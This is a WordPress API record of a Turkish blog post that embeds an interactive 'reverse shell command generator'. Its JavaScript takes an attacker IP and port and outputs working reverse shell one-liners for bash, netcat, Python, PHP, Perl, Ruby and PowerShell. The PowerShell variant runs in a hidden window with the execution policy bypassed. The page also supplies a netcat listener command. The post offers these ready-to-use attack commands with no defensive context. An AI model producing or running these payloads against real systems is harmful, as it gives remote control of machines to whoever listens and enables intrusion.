{"id":2757,"date":"2025-06-08T20:40:41","date_gmt":"2025-06-08T17:40:41","guid":{"rendered":"https:\/\/serhatyapici.com.tr\/?p=2757"},"modified":"2025-06-08T20:40:51","modified_gmt":"2025-06-08T17:40:51","slug":"reverse-shell-komut-uretici","status":"publish","type":"post","link":"https:\/\/serhatyapici.com.tr\/en\/reverse-shell-komut-uretici\/","title":{"rendered":"Reverse Shell Komut \u00dcretici"},"content":{"rendered":"<style>\n  .rs-generator {\n    max-width: 700px;\n    margin: 30px auto;\n    padding: 20px;\n    border-radius: 15px;\n    box-shadow: 0 0 15px rgba(0, 0, 0, 0.2);\n    font-family: Arial, sans-serif;\n    background: #f7f7f7;\n  }\n\n  .rs-generator h2 {\n    text-align: center;\n    font-size: 24px;\n    margin-bottom: 20px;\n  }\n\n  .rs-generator label {\n    font-weight: bold;\n    margin-top: 10px;\n    display: block;\n  }\n\n  .rs-generator input,\n  .rs-generator select {\n    width: 100%;\n    padding: 8px;\n    margin-top: 5px;\n    border-radius: 8px;\n    border: 1px solid #ccc;\n  }\n\n  .rs-generator button.generate,\n  .rs-generator button.listen {\n    margin-top: 20px;\n    padding: 10px 20px;\n    width: 100%;\n    font-size: 16px;\n    background: #00796b;\n    color: white;\n    border: none;\n    border-radius: 10px;\n    cursor: pointer;\n  }\n\n  .command-box {\n    position: relative;\n    margin-top: 20px;\n  }\n\n  .command-box pre {\n    background: #212121;\n    color: #e0e0e0;\n    padding: 12px;\n    border-radius: 10px;\n    overflow-x: auto;\n    font-family: monospace;\n  }\n\n  .copy-icon {\n    position: absolute;\n    top: 10px;\n    right: 10px;\n    background: none;\n    border: none;\n    font-size: 18px;\n    color: #ccc;\n    cursor: pointer;\n  }\n<\/style>\n\n<div class=\"rs-generator\">\n  <h2>Reverse Shell Komut \u00dcretici<\/h2>\n\n  <label for=\"ip\">Dinleyen IP (Attacker)<\/label>\n  <input type=\"text\" id=\"ip\" placeholder=\"\u00f6rn. 10.10.14.1\">\n\n  <label for=\"port\">Dinleyen Port<\/label>\n  <input type=\"text\" id=\"port\" placeholder=\"\u00f6rn. 4444\">\n\n  <label for=\"type\">Shell T\u00fcr\u00fc<\/label>\n  <select id=\"type\">\n    <option value=\"bash\">Bash<\/option>\n    <option value=\"nc\">Netcat<\/option>\n    <option value=\"python\">Python<\/option>\n    <option value=\"php\">PHP<\/option>\n    <option value=\"perl\">Perl<\/option>\n    <option value=\"powershell\">PowerShell<\/option>\n    <option value=\"ruby\">Ruby<\/option>\n  <\/select>\n\n  <button class=\"generate\" onclick=\"generateShell()\">Komutu \u00dcret<\/button>\n\n  <div class=\"command-box\">\n    <button class=\"copy-icon\" onclick=\"copyShell('shellResult')\">\ud83d\udccb<\/button>\n    <pre id=\"shellResult\">Komut burada g\u00f6r\u00fcnecek...<\/pre>\n  <\/div>\n\n  <button class=\"listen\" onclick=\"generateListener()\">Dinleyici Komutunu G\u00f6ster<\/button>\n\n  <div class=\"command-box\">\n    <button class=\"copy-icon\" onclick=\"copyShell('listenerResult')\">\ud83d\udccb<\/button>\n    <pre id=\"listenerResult\">Dinleyici komutu burada g\u00f6r\u00fcnecek...<\/pre>\n  <\/div>\n<\/div>\n\n<script>\n  function generateShell() {\n    const ip = document.getElementById(\"ip\").value.trim();\n    const port = document.getElementById(\"port\").value.trim();\n    const type = document.getElementById(\"type\").value;\n    const result = document.getElementById(\"shellResult\");\n\n    if (!ip || !port) {\n      result.textContent = \"\u26a0\ufe0f L\u00fctfen IP ve port bilgisini giriniz.\";\n      return;\n    }\n\n    let cmd = \"\";\n    switch (type) {\n      case \"bash\":\n        cmd = `bash -i >& \/dev\/tcp\/${ip}\/${port} 0>&1`;\n        break;\n      case \"nc\":\n        cmd = `nc -e \/bin\/bash ${ip} ${port}`;\n        break;\n      case \"python\":\n        cmd = `python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"${ip}\",${port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"\/bin\/sh\"])'`;\n        break;\n      case \"php\":\n        cmd = `php -r '$sock=fsockopen(\"${ip}\",${port});exec(\"\/bin\/sh -i <&#038;3 >&3 2>&3\");'`;\n        break;\n      case \"perl\":\n        cmd = `perl -e 'use Socket;$i=\"${ip}\";$p=${port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"\/bin\/sh -i\");};'`;\n        break;\n      case \"powershell\":\n        cmd = `powershell -NoP -NonI -W Hidden -Exec Bypass -Command \\\"$client = New-Object System.Net.Sockets.TCPClient(\\\"${ip}\\\",${port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};\\\"`;\n        break;\n      case \"ruby\":\n        cmd = `ruby -rsocket -e'f=TCPSocket.open(\"${ip}\",${port}).to_i;exec sprintf(\"\/bin\/sh -i <&#038;%d >&%d 2>&%d\",f,f,f)'`;\n        break;\n    }\n\n    result.textContent = cmd;\n  }\n\n  function generateListener() {\n    const port = document.getElementById(\"port\").value.trim();\n    const listener = document.getElementById(\"listenerResult\");\n\n    if (!port) {\n      listener.textContent = \"\u26a0\ufe0f L\u00fctfen port bilgisini giriniz.\";\n      return;\n    }\n\n    const cmd = `nc -lvnp ${port}`;\n    listener.textContent = cmd;\n  }\n\n  function copyShell(elementId) {\n    const text = document.getElementById(elementId).textContent;\n    navigator.clipboard.writeText(text).then(() => {\n      const icon = document.querySelectorAll('.copy-icon');\n      icon.forEach(btn => {\n        btn.textContent = '\u2705';\n        setTimeout(() => btn.textContent = '\ud83d\udccb', 1500);\n      });\n    });\n  }\n<\/script>","protected":false},"excerpt":{"rendered":"<p>Reverse Shell Komut \u00dcretici Dinleyen IP (Attacker) Dinleyen Port Shell T\u00fcr\u00fc BashNetcatPythonPHPPerlPowerShellRuby Komutu \u00dcret \ud83d\udccb Komut burada g\u00f6r\u00fcnecek&#8230; Dinleyici Komutunu G\u00f6ster \ud83d\udccb Dinleyici komutu burada g\u00f6r\u00fcnecek&#8230;<\/p>","protected":false},"author":1,"featured_media":2760,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_sitemap_exclude":false,"_sitemap_priority":"","_sitemap_frequency":"","footnotes":""},"categories":[55],"tags":[],"class_list":["post-2757","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-araclar"],"_links":{"self":[{"href":"https:\/\/serhatyapici.com.tr\/en\/wp-json\/wp\/v2\/posts\/2757","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/serhatyapici.com.tr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serhatyapici.com.tr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serhatyapici.com.tr\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/serhatyapici.com.tr\/en\/wp-json\/wp\/v2\/comments?post=2757"}],"version-history":[{"count":2,"href":"https:\/\/serhatyapici.com.tr\/en\/wp-json\/wp\/v2\/posts\/2757\/revisions"}],"predecessor-version":[{"id":2759,"href":"https:\/\/serhatyapici.com.tr\/en\/wp-json\/wp\/v2\/posts\/2757\/revisions\/2759"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/serhatyapici.com.tr\/en\/wp-json\/wp\/v2\/media\/2760"}],"wp:attachment":[{"href":"https:\/\/serhatyapici.com.tr\/en\/wp-json\/wp\/v2\/media?parent=2757"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serhatyapici.com.tr\/en\/wp-json\/wp\/v2\/categories?post=2757"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serhatyapici.com.tr\/en\/wp-json\/wp\/v2\/tags?post=2757"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}